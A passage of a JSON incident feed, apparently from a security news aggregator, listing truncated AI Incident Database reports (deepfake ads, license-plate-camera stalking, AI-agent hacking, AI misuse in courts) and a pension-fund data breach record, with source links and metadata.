supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-misuse-of-ai-in-legal-proceedings-a-word-of-c-f3855a6a5d13","cveId":null,"aliases":[],"kind":"ai-incident","title":"Misuse of AI in legal proceedings: A word of caution from the Courts","summary":"Artificial intelligence (\"AI\") is rapidly reshaping legal practice. Lawyers are increasingly using AI tools for drafting, research assistance, document review, summarisation and litigation preparation. As adoption grows, South African court ...","detail":"Artificial intelligence (\"AI\") is rapidly reshaping legal practice. Lawyers are increasingly using AI tools for drafting, research assistance, document review, summarisation and litigation preparation. As adoption grows, South African court ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"ensafrica.com via AI Incident Database: Misuse of AI in legal proceedings: A word of caution from the Courts","url":"https://www.ensafrica.com/news/detail/11940/misuse-of-ai-in-legal-proceedings-a-word-of-c/","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1773","url":"https://incidentdatabase.ai/cite/1773/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-s2cMainServlet-f4dc2a5f02b4","cveId":null,"aliases":[],"kind":"ai-incident","title":"AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets","summary":"CERT-In Advisory CIAD-2026-0049\n\nAI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets\n\nOriginal Issue Date: October 15, 2026\n\nSeverity Rating: Cri ...","detail":"CERT-In Advisory CIAD-2026-0049\n\nAI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets\n\nOriginal Issue Date: October 15, 2026\n\nSeverity Rating: Cri ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"cert-in.org.in via AI Incident Database: AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets","url":"https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES02&VLCODE=CIAD-2026-0049","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1774","url":"https://incidentdatabase.ai/cite/1774/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-texas-goodwin-patrick-ad-police-complaint-31de440050cc","cveId":null,"aliases":[],"kind":"ai-incident","title":"In lieutenant governor race, Vikki Goodwin says Dan Patrick ads are illegal AI deepfakes","summary":"The Democrat filed a police complaint against the Republican incumbent, saying state law bans deceptive video so close to the election. Patrick’s camp said they were obvious parodies.\n\nState Rep. Vikki Goodwin, D-Austin, and Democratic cand ...","detail":"The Democrat filed a police complaint against the Republican incumbent, saying state law bans deceptive video so close to the election. Patrick’s camp said they were obvious parodies.\n\nState Rep. Vikki Goodwin, D-Austin, and Democratic cand ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.texastribune.org/2026/09/21/texas-goodwin-patrick-ad-police-complaint/"},"sources":[{"name":"texastribune.org via AI Incident Database: In lieutenant governor race, Vikki Goodwin says Dan Patrick ads are illegal AI deepfakes","url":"https://www.texastribune.org/2026/09/21/texas-goodwin-patrick-ad-police-complaint/","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1775","url":"https://incidentdatabase.ai/cite/1775/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"hibp-assuranceretraite","cveId":null,"aliases":["AssuranceRetraite"],"kind":"breach","title":"Assurance Retraite breach: 70,372 accounts exposed","summary":"In September 2024, the French national pension fund Assurance Retraite suffered a data breach affecting approximately 370k assistance beneficiaries . The data included 70k unique email addresses along with names, dates of birth, physical addresses, phone numbers, income levels, marital statuses, French social security numbers (NIR) and contact details of relatives or other nominated contacts. In its disclosure notice, Assurance Retraite attributed the breach to a compromised partner account .","detail":"Verified by Have I Been Pwned. Breach date: 2024-09-01; loaded 2026-10-20. Exposed data: Dates of birth, Email addresses, Family members' names, Government issued IDs, Income levels, Marital statuses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-20T02:29:36.000Z","updatedAt":"2026-10-20T02:29:36.000Z","regions":["Global"],"vendor":"lassuranceretraite.fr","product":null,"stacks":["Lassuranceretraite.fr"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Assurance Retraite","url":"https://haveibeenpwned.com/Breach/AssuranceRetraite","type":"primary","publishedAt":"2026-10-20T02:29:36.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Assurance Retraite disclosure","url":"https://web.archive.org/web/20241001202009/lassuranceretraite.fr/portail-info/hors-menu/annexe/fuite-donnees-suis-je-concerne.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"aiid-118418-high-court-orders-kbc-delete-employees-biometric-data-over-privacy-breach-de81c5732544","cveId":null,"aliases":[],"kind":"ai-incident","title":"High Court Orders KBC to Delete Employees’ Biometric Data Over Privacy Breach","summary":"The High Court has ordered the Kenya Broadcasting Corporation (KBC) to delete and destroy biometric data collected from its employees after ruling that its facial recognition attendance system was unlawfully implemented.\n\nThis was after the ...","detail":"The High Court has ordered the Kenya Broadcasting Corporation (KBC) to delete and destroy biometric data collected from its employees after ruling that its facial recognition attendance system was unlawfully implemented.\n\nThis was after the ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-20T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"kenyans.co.ke via AI Incident Database: High Court Orders KBC to Delete Employees’ Biometric Data Over Privacy Breach","url":"https://www.kenyans.co.ke/news/118418-high-court-orders-kbc-delete-employees-biometric-data-over-privacy-breach","type":"reporting","publishedAt":"2026-10-20T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1770","url":"https://incidentdatabase.ai/cite/1770/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-homem-usa-ia-para-simular-fotografia-armado-e-ameacar-ex-companheira-fb5003e8c35d","cveId":null,"aliases":["Homem usa IA para simular fotografia armado e ameaçar ex-companheira"],"kind":"ai-incident","title":"Man uses AI to simulate armed photography and threaten ex-girlfriend","summary":"An unusual case of domestic violence has drawn the attention of authorities to the misuse of new technologies in intimidation crimes. A man was arrested by the Civil Police of Goiás (PCGO) after using intelligence tools Art ...","detail":"An unusual case of domestic violence has drawn the attention of authorities to the misuse of new technologies in intimidation crimes. A man was arrested by the Civil Police of Goiás (PCGO) after using intelligence tools Art ...\n\nMachine-translated from Portuguese by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Homem usa IA para simular fotografia armado e ameaçar ex-companheira\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-20T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"metropoles.com via AI Incident Database: Man uses AI to simulate armed photography and threaten ex-girlfriend","url":"https://www.metropoles.com/distrito-federal/na-mira/homem-usa-ia-para-simular-fotografia-armado-e-ameacar-ex-companheira","type":"reporting","publishedAt":"2026-10-20T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1769","url":"https://incidentdatabase.ai/cite/1769/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-how-one-hacker-used-ai-agents-few-thousand-dollars-break-into-scores-sites-2026-10-19-2e0b9d01f07e","cveId":null,"aliases":[],"kind":"ai-incident","title":"How one hacker used AI agents and a few thousand dollars to break into scores of sites","summary":"WASHINGTON, Oct 19 (Reuters) - Over the past couple of weeks, a cybersecurity researcher watched as a Chinese-speaking hacker broke into websites belonging to more than 100 companies, including farm equipment maker Deere (DE.N), home applia ...","detail":"WASHINGTON, Oct 19 (Reuters) - Over the past couple of weeks, a cybersecurity researcher watched as a Chinese-speaking hacker broke into websites belonging to more than 100 companies, including farm equipment maker Deere (DE.N), home applia ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-19T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.reuters.com/legal/government/how-one-hacker-used-ai-agents-few-thousand-dollars-break-into-scores-sites-2026-10-19/"},"sources":[{"name":"reuters.com via AI Incident Database: How one hacker used AI agents and a few thousand dollars to break into scores of sites","url":"https://www.reuters.com/legal/government/how-one-hacker-used-ai-agents-few-thousand-dollars-break-into-scores-sites-2026-10-19/","type":"reporting","publishedAt":"2026-10-19T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1766","url":"https://incidentdatabase.ai/cite/1766/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-inside-cairn-b34ad4f974df","cveId":null,"aliases":[],"kind":"ai-incident","title":"Inside Cairn: Open Windows into massive AI-Driven Cyber Operations","summary":"More than 20 exposed Cairn panels give an unusually detailed view of how threat actors select targets, direct autonomous agents, exploit vulnerabilities, and establish persistent access to compromised systems.\n\n01 TL;DR\n\nAn investigation by ...","detail":"More than 20 exposed Cairn panels give an unusually detailed view of how threat actors select targets, direct autonomous agents, exploit vulnerabilities, and establish persistent access to compromised systems.\n\n01 TL;DR\n\nAn investigation by ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-19T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://norforge.com/blog/inside_cairn"},"sources":[{"name":"norforge.com via AI Incident Database: Inside Cairn: Open Windows into massive AI-Driven Cyber Operations","url":"https://norforge.com/blog/inside_cairn","type":"reporting","publishedAt":"2026-10-19T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1766","url":"https://incidentdatabase.ai/cite/1766/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-DMECQENH7FGU5EQSD5XXUYZPYU-c31514b352b4","cveId":null,"aliases":[],"kind":"ai-incident","title":"NEW DETAILS: Former Braselton Police Chief accused of stalking; judge denied protective order","summary":"BRASELTON, Ga. --- A woman accusing the Braselton police chief of stalking her was denied a protective order against him before his arrest.\n\nChannel 2 Action News reported last week when Michael Steffman, retired and resigned from his posit ...","detail":"BRASELTON, Ga. --- A woman accusing the Braselton police chief of stalking her was denied a protective order against him before his arrest.\n\nChannel 2 Action News reported last week when Michael Steffman, retired and resigned from his posit ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"wsbtv.com via AI Incident Database: NEW DETAILS: Former Braselton Police Chief accused of stalking; judge denied protective order","url":"https://www.wsbtv.com/news/local/new-details-former-braselton-police-chief-accused-stalking-judge-denied-protective-order/DMECQENH7FGU5EQSD5XXUYZPYU/","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1759","url":"https://incidentdatabase.ai/cite/1759/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-gbi-arrests-braselton-police-chief-harassment-and-stalking-d15d2d179749","cveId":null,"aliases":[],"kind":"ai-incident","title":"GBI Arrests Braselton Police Chief for Harassment and Stalking","summary":"Braselton, Jackson County, GA (November 19, 2025) -- The GBI has arrested and charged Braselton Police Department Chief Michael Steffman, age 49, of Braselton, GA, with Violation of Oath by Public Officer, Stalking, Harassing Communications ...","detail":"Braselton, Jackson County, GA (November 19, 2025) -- The GBI has arrested and charged Braselton Police Department Chief Michael Steffman, age 49, of Braselton, GA, with Violation of Oath by Public Officer, Stalking, Harassing Communications ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"gbi.georgia.gov via AI Incident Database: GBI Arrests Braselton Police Chief for Harassment and Stalking","url":"https://gbi.georgia.gov/press-releases/2025-11-19/gbi-arrests-braselton-police-chief-harassment-and-stalking","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1759","url":"https://incidentdatabase.ai/cite/1759/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-georgia-plate-readers-stalk-harass-chief-arrested-39adb6f89fc2074da61f2801fef3f180-db2ea5fb0438","cveId":null,"aliases":[],"kind":"ai-incident","title":"Georgia police chief charged with using license plate readers to stalk and harass people","summary":"BRASELTON, Ga. (AP) — A police chief in suburban Atlanta has been arrested on charges that he used the city’s automated license plate recognition cameras to stalk and harass multiple people.\n\nMichael Steffman, 49, had been the police chief ...","detail":"BRASELTON, Ga. (AP) — A police chief in suburban Atlanta has been arrested on charges that he used the city’s automated license plate recognition cameras to stalk and harass multiple people.\n\nMichael Steffman, 49, had been the police chief ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"apnews.com via AI Incident Database: Georgia police chief charged with using license plate readers to stalk and harass people","url":"https://apnews.com/article/georgia-plate-readers-stalk-harass-chief-arrested-39adb6f89fc2074da61f2801fef3f180","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1760","url":"https://incidentdatabase.ai/cite/1760/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-haines-city-officer-arrested-misusing-flock-cameras-track-estranged-wife-officials-7914e50ce711","cveId":null,"aliases":[],"kind":"ai-incident","title":"Haines City officer arrested for misusing Flock cameras to track estranged wife: Officials","summary":"HAINES CITY, Fla. - A Haines City police officer is accused of misusing Flock camera databases to track his estranged wife's car, according to officials. \n\nHaines City police investigation\n\nWhat we know:\n\nThe Haines City Police Department s ...","detail":"HAINES CITY, Fla. - A Haines City police officer is accused of misusing Flock camera databases to track his estranged wife's car, according to officials. \n\nHaines City police investigation\n\nWhat we know:\n\nThe Haines City Police Department s ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"fox13news.com via AI Incident Database: Haines City officer arrested for misusing Flock cameras to track estranged wife: Officials","url":"https://www.fox13news.com/news/haines-city-officer-arrested-misusing-flock-cameras-track-estranged-wife-officials","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1761","url":"https://incidentdatabase.ai/cite/1761/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-haines-city-police-add-new-safeguards-for-flock-cameras-after-officer-accused-of-misuse-69757513c607","cveId":null,"aliases":[],"kind":"ai-incident","title":"Haines City police add new safeguards for Flock cameras after officer accused of misuse","summary":"HAINES CITY, Fla. --- Haines City Police Department is changing how officers use Flock cameras after an officer was accused of repeatedly using the system to track his estranged wife's vehicle.\n\nThe department is now requiring formal audits ...","detail":"HAINES CITY, Fla. --- Haines City Police Department is changing how officers use Flock cameras after an officer was accused of repeatedly using the system to track his estranged wife's vehicle.\n\nThe department is now requiring formal audits ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"tampabay28.com via AI Incident Database: Haines City police add new safeguards for Flock cameras after officer accused of misuse","url":"https://www.tampabay28.com/news/region-polk/haines-city-police-add-new-safeguards-for-flock-cameras-after-officer-accused-of-misuse","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1761","url":"https://incidentdatabase.ai/cite/1761/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-haines-city-police-officer-accused-of-using-flock-cameras-to-search-estranged-wifes-vehicle-over-700-f11b0cf22a01","cveId":null,"aliases":[],"kind":"ai-incident","title":"Haines City police officer accused of using FLOCK cameras to search estranged wife's vehicle over 700 times","summary":"HAINES CITY, Fla. — Haines City Police said an officer has been arrested after an investigation revealed FLOCK camera misuse.\n\nAccording to an arrest affidavit from the Haines City Police Department, an investigation was opened on August 10 ...","detail":"HAINES CITY, Fla. — Haines City Police said an officer has been arrested after an investigation revealed FLOCK camera misuse.\n\nAccording to an arrest affidavit from the Haines City Police Department, an investigation was opened on August 10 ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"tampabay28.com via AI Incident Database: Haines City police officer accused of using FLOCK cameras to search estranged wife's vehicle over 700 times","url":"https://www.tampabay28.com/news/region-polk/haines-city-police-officer-accused-of-using-flock-cameras-to-search-estranged-wifes-vehicle-over-700-times","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1761","url":"https://incidentdatabase.ai/cite/1761/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-touba-un-individu-arrete-pour-cyber-escroquerie-chantage-et-usage-frauduleux-de-lia-2146c09da491","cveId":null,"aliases":["Touba : Un Individu Arrêté pour Cyber-Escroquerie, Chantage et Usage 